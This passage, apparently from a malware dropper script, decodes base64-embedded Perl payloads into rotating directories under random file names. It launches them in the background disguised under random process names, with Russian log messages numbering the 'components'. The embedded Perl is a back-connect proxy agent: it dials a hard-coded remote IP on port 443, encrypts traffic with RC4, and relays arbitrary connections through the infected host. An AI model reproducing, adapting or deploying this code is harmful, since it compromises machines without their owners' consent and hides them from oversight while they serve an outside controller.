ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #46 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #46 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 47 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz 